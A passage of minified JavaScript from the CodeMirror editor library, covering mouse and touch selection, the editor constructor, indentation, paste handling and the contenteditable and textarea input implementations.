wr(n,n)),Qr(i,Cr(e,l.ranges.slice(0,s).concat(r),s),{origin:"*mouse",scroll:!1}),e.scrollIntoView(t)}else{var y,_=a,k=ma(e,t,o.unit),w=_.anchor;nt(k.anchor,w)>0?(y=k.head,w=at(_.from(),k.anchor)):(y=k.anchor,w=it(_.to(),k.head));var C=l.ranges.slice(0);C[s]=function(e,t){var n=t.anchor,o=t.head,r=Ke(e.doc,n.line);if(0==nt(n,o)&&n.sticky==o.sticky)return t;var i=de(r);if(!i)return t;var a=ue(i,n.ch,n.sticky),s=i[a];if(s.from!=n.ch&&s.to!=n.ch)return t;var l,u=a+(s.from==n.ch==(1!=s.level)?0:1);if(0==u||u==i.length)return t;if(o.line!=n.line)l=(o.line-n.line)*("ltr"==e.doc.direction?1:-1)>0;else{var c=ue(i,o.ch,o.sticky),d=c-a||(o.ch-n.ch)*(1==s.level?-1:1);l=c==u-1||c==u?d<0:d>0}var p=i[u+(l?-1:0)],f=l==(1==p.level),h=f?p.from:p.to,m=f?"after":"before";return n.ch==h&&n.sticky==m?t:new wr(new tt(n.line,h,m),o)}(e,new wr(lt(i,w),y)),Qr(i,Cr(e,C,s),z)}}var f=r.wrapper.getBoundingClientRect(),h=0;function m(t){e.state.selectingText=!1,h=1/0,t&&(ke(t),r.input.focus()),me(r.wrapper.ownerDocument,"mousemove",g),me(r.wrapper.ownerDocument,"mouseup",v),i.history.lastSelOrigin=null}var g=Zo(e,function(t){0!==t.buttons&&Se(t)?function t(n){var a=++h,s=lo(e,n,!0,"rectangle"==o.unit);if(s)if(0!=nt(s,d)){e.curOp.focus=N(),p(s);var l=Mo(r,i);(s.line>=l.to||s.line<l.from)&&setTimeout(Zo(e,function(){h==a&&t(n)}),150)}else{var u=n.clientY<f.top?-20:n.clientY>f.bottom?20:0;u&&setTimeout(Zo(e,function(){h==a&&(r.scroller.scrollTop+=u,t(n))}),50)}}(t):m(t)}),v=Zo(e,m);e.state.selectingText=v,fe(r.wrapper.ownerDocument,"mousemove",g),fe(r.wrapper.ownerDocument,"mouseup",v)}(e,o,t,i)}(t,o,i,e):Oe(e)==n.scroller&&ke(e):2==r?(o&&Kr(t.doc,o),setTimeout(function(){return n.input.focus()},20)):3==r&&(E?t.display.input.onContextMenu(e):Co(t)))}}function ma(e,t,n){if("char"==n)return new wr(t,t);if("word"==n)return e.findWordAt(t);if("line"==n)return new wr(tt(t.line,0),lt(e.doc,tt(t.line+1,0)));var o=n(e,t);return new wr(o.from,o.to)}function ga(e,t,n,o){var r,i;if(t.touches)r=t.touches[0].clientX,i=t.touches[0].clientY;else try{r=t.clientX,i=t.clientY}catch(e){return!1}if(r>=Math.floor(e.display.gutters.getBoundingClientRect().right))return!1;o&&ke(t);var a=e.display,s=a.lineDiv.getBoundingClientRect();if(i>s.bottom||!ye(e,n))return Ce(t);i-=s.top-a.viewOffset;for(var l=0;l<e.display.gutterSpecs.length;++l){var u=a.gutters.childNodes[l];if(u&&u.getBoundingClientRect().right>=r){var c=Qe(e.doc,i),d=e.display.gutterSpecs[l];return ge(e,n,e,c,d.className,t),Ce(t)}}}function va(e,t){return ga(e,t,"gutterClick",!0)}function ba(e,t){Cn(e.display,t)||function(e,t){return!!ye(e,"gutterContextMenu")&&ga(e,t,"gutterContextMenu",!1)}(e,t)||ve(e,t,"contextmenu")||E||e.display.input.onContextMenu(t)}function ya(e){e.display.wrapper.className=e.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+e.options.theme.replace(/(^|\s)\s*/g," cm-s-"),Vn(e)}fa.prototype.compare=function(e,t,n){return this.time+400>e&&0==nt(t,this.pos)&&n==this.button};var _a={toString:function(){return"CodeMirror.Init"}},ka={},wa={};function Ca(e,t,n){var o=n&&n!=_a;if(!t!=!o){var r=e.display.dragFunctions,i=t?fe:me;i(e.display.scroller,"dragstart",r.start),i(e.display.scroller,"dragenter",r.enter),i(e.display.scroller,"dragover",r.over),i(e.display.scroller,"dragleave",r.leave),i(e.display.scroller,"drop",r.drop)}}function Ea(e){e.options.lineWrapping?(D(e.display.wrapper,"CodeMirror-wrap"),e.display.sizer.style.minWidth="",e.display.sizerWidth=null):(T(e.display.wrapper,"CodeMirror-wrap"),qt(e)),so(e),co(e),Vn(e),setTimeout(function(){return Vo(e)},100)}function Oa(t,n){var o=this;if(!(this instanceof Oa))return new Oa(t,n);this.options=n=n?R(n):{},R(ka,n,!1);var r=n.value;"string"==typeof r?r=new xi(r,n.mode,null,n.lineSeparator,n.direction):n.mode&&(r.modeOption=n.mode),this.doc=r;var i=new Oa.inputStyles[n.inputStyle](this),a=this.display=new mr(t,r,i,n);for(var c in a.wrapper.CodeMirror=this,ya(this),n.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap"),Uo(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:-1,cutIncoming:-1,selectingText:!1,draggingText:!1,highlight:new W,keySeq:null,specialChars:null},n.autofocus&&!b&&a.input.focus(),s&&l<11&&setTimeout(function(){return o.display.input.reset(!0)},20),function(t){var n=t.display;fe(n.scroller,"mousedown",Zo(t,ha)),fe(n.scroller,"dblclick",s&&l<11?Zo(t,function(e){if(!ve(t,e)){var n=lo(t,e);if(n&&!va(t,e)&&!Cn(t.display,e)){ke(e);var o=t.findWordAt(n);Kr(t.doc,o.anchor,o.head)}}}):function(e){return ve(t,e)||ke(e)}),fe(n.scroller,"contextmenu",function(e){return ba(t,e)}),fe(n.input.getField(),"contextmenu",function(e){n.scroller.contains(e.target)||ba(t,e)});var o,r={end:0};function i(){n.activeTouch&&(o=setTimeout(function(){return n.activeTouch=null},1e3),(r=n.activeTouch).end=+new Date)}function a(e,t){if(null==t.left)return!0;var n=t.left-e.left,o=t.top-e.top;return n*n+o*o>400}fe(n.scroller,"touchstart",function(e){if(!ve(t,e)&&!function(e){if(1!=e.touches.length)return!1;var t=e.touches[0];return t.radiusX<=1&&t.radiusY<=1}(e)&&!va(t,e)){n.input.ensurePolled(),clearTimeout(o);var i=+new Date;n.activeTouch={start:i,moved:!1,prev:i-r.end<=300?r:null},1==e.touches.length&&(n.activeTouch.left=e.touches[0].pageX,n.activeTouch.top=e.touches[0].pageY)}}),fe(n.scroller,"touchmove",function(){n.activeTouch&&(n.activeTouch.moved=!0)}),fe(n.scroller,"touchend",function(e){var o=n.activeTouch;if(o&&!Cn(n,e)&&null!=o.left&&!o.moved&&new Date-o.start<300){var r,s=t.coordsChar(n.activeTouch,"page");r=!o.prev||a(o,o.prev)?new wr(s,s):!o.prev.prev||a(o,o.prev.prev)?t.findWordAt(s):new wr(tt(s.line,0),lt(t.doc,tt(s.line+1,0))),t.setSelection(r.anchor,r.head),t.focus(),ke(e)}i()}),fe(n.scroller,"touchcancel",i),fe(n.scroller,"scroll",function(){n.scroller.clientHeight&&(Ao(t,n.scroller.scrollTop),Io(t,n.scroller.scrollLeft,!0),ge(t,"scroll",t))}),fe(n.scroller,"mousewheel",function(e){return _r(t,e)}),fe(n.scroller,"DOMMouseScroll",function(e){return _r(t,e)}),fe(n.wrapper,"scroll",function(){return n.wrapper.scrollTop=n.wrapper.scrollLeft=0}),n.dragFunctions={enter:function(e){ve(t,e)||Ee(e)},over:function(n){ve(t,n)||(function(t,n){var o=lo(t,n);if(o){var r=e.createDocumentFragment();bo(t,o,r),t.display.dragCursor||(t.display.dragCursor=P("div",null,"CodeMirror-cursors CodeMirror-dragcursors"),t.display.lineSpace.insertBefore(t.display.dragCursor,t.display.cursorDiv)),x(t.display.dragCursor,r)}}(t,n),Ee(n))},start:function(e){return function(e,t){if(s&&(!e.state.draggingText||+new Date-Pi<100))Ee(t);else if(!ve(e,t)&&!Cn(e.display,t)&&(t.dataTransfer.setData("Text",e.getSelection()),t.dataTransfer.effectAllowed="copyMove",t.dataTransfer.setDragImage&&!f)){var n=P("img",null,null,"position: fixed; left: 0; top: 0;");n.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",p&&(n.width=n.height=1,e.display.wrapper.appendChild(n),n._top=n.offsetTop),t.dataTransfer.setDragImage(n,0,0),p&&n.parentNode.removeChild(n)}}(t,e)},drop:Zo(t,ji),leave:function(e){ve(t,e)||Li(t)}};var u=n.input.getField();fe(u,"keyup",function(e){return ua.call(t,e)}),fe(u,"keydown",Zo(t,la)),fe(u,"keypress",Zo(t,ca)),fe(u,"focus",function(e){return Eo(t,e)}),fe(u,"blur",function(e){return Oo(t,e)})}(this),Ai(),qo(this),this.curOp.forceUpdate=!0,Dr(this,r),n.autofocus&&!b||this.hasFocus()?setTimeout(function(){o.hasFocus()&&!o.state.focused&&Eo(o)},20):Oo(this),wa)wa.hasOwnProperty(c)&&wa[c](this,n[c],_a);dr(this),n.finishInit&&n.finishInit(this);for(var d=0;d<Sa.length;++d)Sa[d](this);Ko(this),u&&n.lineWrapping&&"optimizelegibility"==getComputedStyle(a.lineDiv).textRendering&&(a.lineDiv.style.textRendering="auto")}Oa.defaults=ka,Oa.optionHandlers=wa;var Sa=[];function Ta(e,t,n,o){var r,i=e.doc;null==n&&(n="add"),"smart"==n&&(i.mode.indent?r=ht(e,t).state:n="prev");var a=e.options.tabSize,s=Ke(i,t),l=B(s.text,null,a);s.stateAfter&&(s.stateAfter=null);var u,c=s.text.match(/^\s*/)[0];if(o||/\S/.test(s.text)){if("smart"==n&&((u=i.mode.indent(r,s.text.slice(c.length),s.text))==G||u>150)){if(!o)return;n="prev"}}else u=0,n="not";"prev"==n?u=t>i.first?B(Ke(i,t-1).text,null,a):0:"add"==n?u=l+e.options.indentUnit:"subtract"==n?u=l-e.options.indentUnit:"number"==typeof n&&(u=l+n),u=Math.max(0,u);var d="",p=0;if(e.options.indentWithTabs)for(var f=Math.floor(u/a);f;--f)p+=a,d+="\t";if(p<u&&(d+=X(u-p)),d!=c)return fi(i,d,tt(t,0),tt(t,c.length),"+input"),s.stateAfter=null,!0;for(var h=0;h<i.sel.ranges.length;h++){var m=i.sel.ranges[h];if(m.head.line==t&&m.head.ch<c.length){var g=tt(t,c.length);Xr(i,h,new wr(g,g));break}}}Oa.defineInitHook=function(e){return Sa.push(e)};var Ma=null;function xa(e){Ma=e}function Pa(e,t,n,o,r){var i=e.doc;e.display.shift=!1,o||(o=i.sel);var a=+new Date-200,s="paste"==r||e.state.pasteIncoming>a,l=Ne(t),u=null;if(s&&o.ranges.length>1)if(Ma&&Ma.text.join("\n")==t){if(o.ranges.length%Ma.text.length==0){u=[];for(var c=0;c<Ma.text.length;c++)u.push(i.splitLines(Ma.text[c]))}}else l.length==o.ranges.length&&e.options.pasteLinesPerSelection&&(u=J(l,function(e){return[e]}));for(var d=e.curOp.updateInput,p=o.ranges.length-1;p>=0;p--){var f=o.ranges[p],h=f.from(),m=f.to();f.empty()&&(n&&n>0?h=tt(h.line,h.ch-n):e.state.overwrite&&!s?m=tt(m.line,Math.min(Ke(i,m.line).text.length,m.ch+Y(l).length)):s&&Ma&&Ma.lineWise&&Ma.text.join("\n")==l.join("\n")&&(h=m=tt(h.line,0)));var g={from:h,to:m,text:u?u[p%u.length]:l,origin:r||(s?"paste":e.state.cutIncoming>a?"cut":"+input")};li(e.doc,g),un(e,"inputRead",e,g)}t&&!s&&La(e,t),jo(e),e.curOp.updateInput<2&&(e.curOp.updateInput=d),e.curOp.typing=!0,e.state.pasteIncoming=e.state.cutIncoming=-1}function ja(e,t){var n=e.clipboardData&&e.clipboardData.getData("Text");if(n)return e.preventDefault(),t.isReadOnly()||t.options.disableInput||Qo(t,function(){return Pa(t,n,0,null,"paste")}),!0}function La(e,t){if(e.options.electricChars&&e.options.smartIndent)for(var n=e.doc.sel,o=n.ranges.length-1;o>=0;o--){var r=n.ranges[o];if(!(r.head.ch>100||o&&n.ranges[o-1].head.line==r.head.line)){var i=e.getModeAt(r.head),a=!1;if(i.electricChars){for(var s=0;s<i.electricChars.length;s++)if(t.indexOf(i.electricChars.charAt(s))>-1){a=Ta(e,r.head.line,"smart");break}}else i.electricInput&&i.electricInput.test(Ke(e.doc,r.head.line).text.slice(0,r.head.ch))&&(a=Ta(e,r.head.line,"smart"));a&&un(e,"electricInput",e,r.head.line)}}}function Na(e){for(var t=[],n=[],o=0;o<e.doc.sel.ranges.length;o++){var r=e.doc.sel.ranges[o].head.line,i={anchor:tt(r,0),head:tt(r+1,0)};n.push(i),t.push(e.getRange(i.anchor,i.head))}return{text:t,ranges:n}}function Da(e,t,n,o){e.setAttribute("autocorrect",n?"":"off"),e.setAttribute("autocapitalize",o?"":"off"),e.setAttribute("spellcheck",!!t)}function Aa(){var e=P("textarea",null,null,"position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none"),t=P("div",[e],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");return u?e.style.width="1000px":e.setAttribute("wrap","off"),g&&(e.style.border="1px solid black"),Da(e),t}function Fa(e,t,n,o,r){var i=t,a=n,s=Ke(e,t.line),l=r&&"rtl"==e.direction?-n:n;function u(i){var a,u;if("codepoint"==o){var c=s.text.charCodeAt(t.ch+(o>0?0:-1));a=isNaN(c)?null:new tt(t.line,Math.max(0,Math.min(s.text.length,t.ch+n*(c>=55296&&c<56320?2:1))),-n)}else a=r?function(e,t,n,o){var r=de(t,e.doc.direction);if(!r)return Ji(t,n,o);n.ch>=t.text.length?(n.ch=t.text.length,n.sticky="before"):n.ch<=0&&(n.ch=0,n.sticky="after");var i=ue(r,n.ch,n.sticky),a=r[i];if("ltr"==e.doc.direction&&a.level%2==0&&(o>0?a.to>n.ch:a.from<n.ch))return Ji(t,n,o);var s,l=function(e,n){return Yi(t,e instanceof tt?e.ch:e,n)},u=function(n){return e.options.lineWrapping?(s=s||Nn(e,t),Zn(e,t,s,n)):{begin:0,end:t.text.length}},c=u("before"==n.sticky?l(n,-1):n.ch);if("rtl"==e.doc.direction||1==a.level){var d=1==a.level==o<0,p=l(n,d?1:-1);if(null!=p&&(d?p<=a.to&&p<=c.end:p>=a.from&&p>=c.begin)){var f=d?"before":"after";return new tt(n.line,p,f)}}var h=function(e,t,o){for(var i=function(e,t){return t?new tt(n.line,l(e,1),"before"):new tt(n.line,e,"after")};e>=0&&e<r.length;e+=t){var a=r[e],s=t>0==(1!=a.level),u=s?o.begin:l(o.end,-1);if(a.from<=u&&u<a.to)return i(u,s);if(u=s?a.from:l(a.to,-1),o.begin<=u&&u<o.end)return i(u,s)}},m=h(i+o,o,c);if(m)return m;var g=o>0?c.end:l(c.begin,-1);return null==g||o>0&&g==t.text.length||!(m=h(o>0?0:r.length-1,o,u(g)))?null:m}(e.cm,s,t,n):Ji(s,t,n);if(null==a){if(i||((u=t.line+l)<e.first||u>=e.first+e.size||(t=new tt(u,t.ch,t.sticky),!(s=Ke(e,u)))))return!1;t=Qi(r,e.cm,s,t.line,l)}else t=a;return!0}if("char"==o||"codepoint"==o)u();else if("column"==o)u(!0);else if("word"==o||"group"==o)for(var c=null,d="group"==o,p=e.cm&&e.cm.getHelper(t,"wordChars"),f=!0;!(n<0)||u(!f);f=!1){var h=s.text.charAt(t.ch)||"\n",m=ne(h,p)?"w":d&&"\n"==h?"n":!d||/\s/.test(h)?null:"p";if(!d||f||m||(m="s"),c&&c!=m){n<0&&(n=1,u(),t.sticky="after");break}if(m&&(c=m),n>0&&!u(!f))break}var g=ri(e,t,i,a,!0);return ot(i,g)&&(g.hitSide=!0),g}function Ia(t,n,o,r){var i,a,s=t.doc,l=n.left;if("page"==r){var u=Math.min(t.display.wrapper.clientHeight,window.innerHeight||e.documentElement.clientHeight),c=Math.max(u-.5*no(t.display),3);i=(o>0?n.bottom:n.top)+o*c}else"line"==r&&(i=o>0?n.bottom+3:n.top-3);for(;(a=Jn(t,l,i)).outside;){if(o<0?i<=0:i>=s.height){a.hitSide=!0;break}i+=5*o}return a}var Ra=function(e){this.cm=e,this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null,this.polling=new W,this.composing=null,this.gracePeriod=!1,this.readDOMTimeout=null};function Ba(e,t){var n=Ln(e,t.line);if(!n||n.hidden)return null;var o=Ke(e.doc,t.line),r=Pn(n,o,t.line),i=de(o,e.doc.direction),a="left";if(i){var s=ue(i,t.ch);a=s%2?"right":"left"}var l=In(r.map,t.ch,a);return l.offset="right"==l.collapse?l.end:l.start,l}function Wa(e,t){return t&&(e.bad=!0),e}function Va(e,t,n){var o;if(t==e.display.lineDiv){if(!(o=e.display.lineDiv.childNodes[n]))return Wa(e.clipPos(tt(e.display.viewTo-1)),!0);t=null,n=0}else for(o=t;;o=o.parentNode){if(!o||o==e.display.lineDiv)return null;if(o.parentNode&&o.parentNode==e.display.lineDiv)break}for(var r=0;r<e.display.view.length;r++){var i=e.display.view[r];if(i.node==o)return Ha(i,t,n)}}function Ha(e,t,n){var o=e.text.firstChild,r=!1;if(!t||!L(o,t))return Wa(tt(Je(e.line),0),!0);if(t==o&&(r=!0,t=o.childNodes[n],n=0,!t)){var i=e.rest?Y(e.rest):e.line;return Wa(tt(Je(i),i.text.length),r)}var a=3==t.nodeType?t:null,s=t;for(a||1!=t.childNodes.length||3!=t.firstChild.nodeType||(a=t.firstChild,n&&(n=a.nodeValue.length));s.parentNode!=o;)s=s.parentNode;var l=e.measure,u=l.maps;function c(t,n,o){for(var r=-1;r<(u?u.length:0);r++)for(var i=r<0?l.map:u[r],a=0;a<i.length;a+=3){var s=i[a+2];if(s==t||s==n){var c=Je(r<0?e.line:e.rest[r]),d=i[a]+o;return(o<0||s!=t)&&(d=i[a+(o?1:0)]),tt(c,d)}}}var d=c(a,s,n);if(d)return Wa(d,r);for(var p=s.nextSibling,f=a?a.nodeValue.length-n:0;p;p=p.nextSibling){if(d=c(p,p.firstChild,0))return Wa(tt(d.line,d.ch-f),r);f+=p.textContent.length}for(var h=s.previousSibling,m=n;h;h=h.previousSibling){if(d=c(h,h.firstChild,-1))return Wa(tt(d.line,d.ch+m),r);m+=h.textContent.length}}Ra.prototype.init=function(t){var n=this,o=this,r=o.cm,i=o.div=t.lineDiv;function a(e){for(var t=e.target;t;t=t.parentNode){if(t==i)return!0;if(/\bCodeMirror-(?:line)?widget\b/.test(t.className))break}return!1}function s(t){if(a(t)&&!ve(r,t)){if(r.somethingSelected())xa({lineWise:!1,text:r.getSelections()}),"cut"==t.type&&r.replaceSelection("",null,"cut");else{if(!r.options.lineWiseCopyCut)return;var n=Na(r);xa({lineWise:!0,text:n.text}),"cut"==t.type&&r.operation(function(){r.setSelections(n.ranges,0,U),r.replaceSelection("",null,"cut")})}if(t.clipboardData){t.clipboardData.clearData();var s=Ma.text.join("\n");if(t.clipboardData.setData("Text",s),t.clipboardData.getData("Text")==s)return void t.preventDefault()}var l=Aa(),u=l.firstChild;r.display.lineSpace.insertBefore(l,r.display.lineSpace.firstChild),u.value=Ma.text.join("\n");var c=e.activeElement;F(u),setTimeout(function(){r.display.lineSpace.removeChild(l),c.focus(),c==i&&o.showPrimarySelection()},50)}}Da(i,r.options.spellcheck,r.options.autocorrect,r.options.autocapitalize),fe(i,"paste",function(e){!a(e)||ve(r,e)||ja(e,r)||l<=11&&setTimeout(Zo(r,function(){return n.updateFromDOM()}),20)}),fe(i,"compositionstart",function(e){n.composing={data:e.data,done:!1}}),fe(i,"compositionupdate",function(e){n.composing||(n.composing={data:e.data,done:!1})}),fe(i,"compositionend",function(e){n.composing&&(e.data!=n.composing.data&&n.readFromDOMSoon(),n.composing.done=!0)}),fe(i,"touchstart",function(){return o.forceCompositionEnd()}),fe(i,"input",function(){n.composing||n.readFromDOMSoon()}),fe(i,"copy",s),fe(i,"cut",s)},Ra.prototype.screenReaderLabelChanged=function(e){e?this.div.setAttribute("aria-label",e):this.div.removeAttribute("aria-label")},Ra.prototype.prepareSelection=function(){var t=vo(this.cm,!1);return t.focus=e.activeElement==this.div,t},Ra.prototype.showSelection=function(e,t){e&&this.cm.display.view.length&&((e.focus||t)&&this.showPrimarySelection(),this.showMultipleSelections(e))},Ra.prototype.getSelection=function(){return this.cm.display.wrapper.ownerDocument.getSelection()},Ra.prototype.showPrimarySelection=function(){var e=this.getSelection(),t=this.cm,n=t.doc.sel.primary(),r=n.from(),i=n.to();if(t.display.viewTo==t.display.viewFrom||r.line>=t.display.viewTo||i.line<t.display.viewFrom)e.removeAllRanges();else{var a=Va(t,e.anchorNode,e.anchorOffset),s=Va(t,e.focusNode,e.focusOffset);if(!a||a.bad||!s||s.bad||0!=nt(at(a,s),r)||0!=nt(it(a,s),i)){var l=t.display.view,u=r.line>=t.display.viewFrom&&Ba(t,r)||{node:l[0].measure.map[2],offset:0},c=i.line<t.display.viewTo&&Ba(t,i);if(!c){var d=l[l.length-1].measure,p=d.maps?d.maps[d.maps.length-1]:d.map;c={node:p[p.length-1],offset:p[p.length-2]-p[p.length-3]}}if(u&&c){var f,h=e.rangeCount&&e.getRangeAt(0);try{f=S(u.node,u.offset,c.offset,c.node)}catch(e){}f&&(!o&&t.state.focused?(e.collapse(u.node,u.offset),f.collapsed||(e.removeAllRanges(),e.addRange(f))):(e.removeAllRanges(),e.addRange(f)),h&&null==e.anchorNode?e.addRange(h):o&&this.startGracePeriod()),this.rememberSelection()}else e.removeAllRanges()}}},Ra.prototype.startGracePeriod=function(){var e=this;clearTimeout(this.gracePeriod),this.gracePeriod=setTimeout(function(){e.gracePeriod=!1,e.selectionChanged()&&e.cm.operation(function(){return e.cm.curOp.selectionChanged=!0})},20)},Ra.prototype.showMultipleSelections=function(e){x(this.cm.display.cursorDiv,e.cursors),x(this.cm.display.selectionDiv,e.selection)},Ra.prototype.rememberSelection=function(){var e=this.getSelection();this.lastAnchorNode=e.anchorNode,this.lastAnchorOffset=e.anchorOffset,this.lastFocusNode=e.focusNode,this.lastFocusOffset=e.focusOffset},Ra.prototype.selectionInEditor=function(){var e=this.getSelection();if(!e.rangeCount)return!1;var t=e.getRangeAt(0).commonAncestorContainer;return L(this.div,t)},Ra.prototype.focus=function(){"nocursor"!=this.cm.options.readOnly&&(this.selectionInEditor()&&e.activeElement==this.div||this.showSelection(this.prepareSelection(),!0),this.div.focus())},Ra.prototype.blur=function(){this.div.blur()},Ra.prototype.getField=function(){return this.div},Ra.prototype.supportsTouch=function(){return!0},Ra.prototype.receivedFocus=function(){var e=this;this.selectionInEditor()?this.pollSelection():Qo(this.cm,function(){return e.cm.curOp.selectionChanged=!0}),this.polling.set(this.cm.options.pollInterval,function t(){e.cm.state.focused&&(e.pollSelection(),e.polling.set(e.cm.options.pollInterval,t))})},Ra.prototype.selectionChanged=function(){var e=this.getSelection();return e.anchorNode!=this.lastAnchorNode||e.anchorOffset!=this.lastAnchorOffset||e.focusNode!=this.lastFocusNode||e.focusOffset!=this.lastFocusOffset},Ra.prototype.pollSelection=function(){if(null==this.readDOMTimeout&&!this.gracePeriod&&this.selectionChanged()){var e=this.getSelection(),t=this.cm;if(v&&d&&this.cm.display.gutterSpecs.length&&function(e){for(var t=e;t;t=t.parentNode)if(/CodeMirror-gutter-wrapper/.test(t.className))return!0;return!1}(e.anchorNode))return this.cm.triggerOnKeyDown({type:"keydown",keyCode:8,preventDefault:Math.abs}),this.blur(),void this.focus();if(!this.composing){this.rememberSelection();var n=Va(t,e.anchorNode,e.anchorOffset),o=Va(t,e.focusNode,e.focusOffset);n&&o&&Qo(t,function(){Qr(t.doc,Er(n,o),U),(n.bad||o.bad)&&(t.curOp.selectionChanged=!0)})}}},Ra.prototype.pollContent=function(){null!=this.readDOMTimeout&&(clearTimeout(this.readDOMTimeout),this.readDOMTimeout=null);var e,t,n,o=this.cm,r=o.display,i=o.doc.sel.primary(),a=i.from(),s=i.to();if(0==a.ch&&a.line>o.firstLine()&&(a=tt(a.line-1,Ke(o.doc,a.line-1).length)),s.ch==Ke(o.doc,s.line).text.length&&s.line<o.lastLine()&&(s=tt(s.line+1,0)),a.line<r.viewFrom||s.line>r.viewTo-1)return!1;a.line==r.viewFrom||0==(e=uo(o,a.line))?(t=Je(r.view[0].line),n=r.view[0].node):(t=Je(r.view[e].line),n=r.view[e-1].node.nextSibling);var l,u,c=uo(o,s.line);if(c==r.view.length-1?(l=r.viewTo-1,u=r.lineDiv.lastChild):(l=Je(r.view[c+1].line)-1,u=r.view[c+1].node.previousSibling),!n)return!1;for(var d=o.doc.splitLines(function(e,t,n,o,r){var i="",a=!1,s=e.doc.lineSeparator(),l=!1;function u(){a&&(i+=s,l&&(i+=s),a=l=!1)}function c(e){e&&(u(),i+=e)}function d(t){if(1==t.nodeType){var n=t.getAttribute("cm-text");if(n)return void c(n);var i,p=t.getAttribute("cm-marker");if(p){var f=e.findMarks(tt(o,0),tt(r+1,0),(g=+p,function(e){return e.id==g}));return void(f.length&&(i=f[0].find(0))&&c($e(e.doc,i.from,i.to).join(s)))}if("false"==t.getAttribute("contenteditable"))return;var h=/^(pre|div|p|li|table|br)$/i.test(t.nodeName);if(!/^br$/i.test(t.nodeName)&&0==t.textContent.length)return;h&&u();for(var m=0;m<t.childNodes.length;m++)d(t.childNodes[m]);/^(pre|p)$/i.test(t.nodeName)&&(l=!0),h&&(a=!0)}else 3==t.nodeType&&c(t.nodeValue.replace(/\u200b/g,"").replace(/\u00a0/g," "));var g}for(;d(t),t!=n;)t=t.nextSibling,l=!1;return i}(o,n,u,t,l)),p=$e(o.doc,tt(t,0),tt(l,Ke(o.doc,l).text.length));d.length>1&&p.length>1;)if(Y(d)==Y(p))d.pop(),p.pop(),l--;else{if(d[0]!=p[0])break;d.shift(),p.shift(),t++}for(var f=0,h=0,m=d[0],g=p[0],v=Math.min(m.length,g.length);f<v&&m.charCodeAt(f)==g.charCodeAt(f);)++f;for(var b=Y(d),y=Y(p),_=Math.min(b.length-(1==d.length?f:0),y.length-(1==p.length?f:0));h<_&&b.charCodeAt(b.length-h-1)==y.charCodeAt(y.length-h-1);)++h;if(1==d.length&&1==p.length&&t==a.line)for(;f&&f>a.ch&&b.charCodeAt(b.length-h-1)==y.charCodeAt(y.length-h-1);)f--,h++;d[d.length-1]=b.slice(0,b.length-h).replace(/^\u200b+/,""),d[0]=d[0].slice(f).replace(/\u200b+$/,"");var k=tt(t,f),w=tt(l,p.length?Y(p).length-h:0);return d.length>1||d[0]||nt(k,w)?(fi(o.doc,d,k,w,"+input"),!0):void 0},Ra.prototype.ensurePolled=function(){this.forceCompositionEnd()},Ra.prototype.reset=function(){this.forceCompositionEnd()},Ra.prototype.forceCompositionEnd=function(){this.composing&&(clearTimeout(this.readDOMTimeout),this.composing=null,this.updateFromDOM(),this.div.blur(),this.div.focus())},Ra.prototype.readFromDOMSoon=function(){var e=this;null==this.readDOMTimeout&&(this.readDOMTimeout=setTimeout(function(){if(e.readDOMTimeout=null,e.composing){if(!e.composing.done)return;e.composing=null}e.updateFromDOM()},80))},Ra.prototype.updateFromDOM=function(){var e=this;!this.cm.isReadOnly()&&this.pollContent()||Qo(this.cm,function(){return co(e.cm)})},Ra.prototype.setUneditable=function(e){e.contentEditable="false"},Ra.prototype.onKeyPress=function(e){0==e.charCode||this.composing||(e.preventDefault(),this.cm.isReadOnly()||Zo(this.cm,Pa)(this.cm,String.fromCharCode(null==e.charCode?e.keyCode:e.charCode),0))},Ra.prototype.readOnlyChanged=function(e){this.div.contentEditable=String("nocursor"!=e)},Ra.prototype.onContextMenu=function(){},Ra.prototype.resetPosition=function(){},Ra.prototype.needsContentAttribute=!0;var Ga=function(e){this.cm=e,this.prevInput="",this.pollingFast=!1,this.polling=new W,this.hasSelection=!1,this.composing=null};Ga.prototype.init=function(e){var t=this,n=this,o=this.cm;this.createField(e);var r=this.textarea;function i(e){if(!ve(o,e)){if(o.somethingSelected())xa({lineWise:!1,text:o.getSelections()});else{if(!o.options.lineWiseCopyCut)return;var t=Na(o);xa({lineWise:!0,text:t.text}),"cut"==e.type?o.setSelections(t.ranges,null,U):(n.prevInput="",r.value=t.text.join("\n"),F(r))}"cut"==e.type&&(o.state.cutIncoming=+new Date)}}e.wrapper.insertBefore(this.wrapper,e.wrapper.firstChild),g&&(r.style.width="0px"),fe(r,"input",function(){s&&l>=9&&t.hasSelection&&(t.hasSelection=null),n.poll()}),fe(r,"paste",function(e){ve(o,e)||ja(e,o)||(o.state.pasteIncoming=+new Date,n.fastPoll())}),fe(r,"cut",i),fe(r,"copy",i),fe(e.scroller,"paste",function(t){if(!Cn(e,t)&&!ve(o,t)){if(!r.dispatchEvent)return o.state.pasteIncoming=+new Date,void n.focus();var i=new Event("paste");i.clipboardData=t.clipboardData,r.dispatchEvent(i)}}),fe(e.lineSpace,"selectstart",function(t){Cn(e,t)||ke(t)}),fe(r,"compositionstart",function(){var e=o.getCursor("from");n.composing&&n.composing.range.clear(),n.composing={start:e,range:o.markText(e,o.getCursor("to"),{className:"CodeMirror-composing"})}}),fe(r,"compositionend",function(){n.composing&&(n.poll(),n.composing.range.clear(),n.composing=null)})},Ga.prototype.createField=function(e){this.wrapper=Aa(),this.textarea=this.wrapper.firstChild},Ga.prototype.screenReaderLabelChanged=function(e){e?this.textarea.setAttribute("aria-label",e):this.textarea.removeAttribute("aria-label")},Ga.prototype.prepareSelection=function(){var e=this.cm,t=e.display,n=e.doc,o=vo(e);if(e.options.moveInputWithCursor){var r=$n(e,n.sel.primary().head,"div"),i=t.wrapper.getBoundingClientRect(),a=t.lineDiv.getBoundingClientRect();o.teTop=Math.max(0,Math.min(t.wrapper.clientHeight-10,r.top+a.top-i.top)),o.teLeft=Math.max(0,Math.min(t.wrapper.clientWidth-10,r.left+a.left-i.left))}return o},Ga.prototype.showSelection=function(e){var 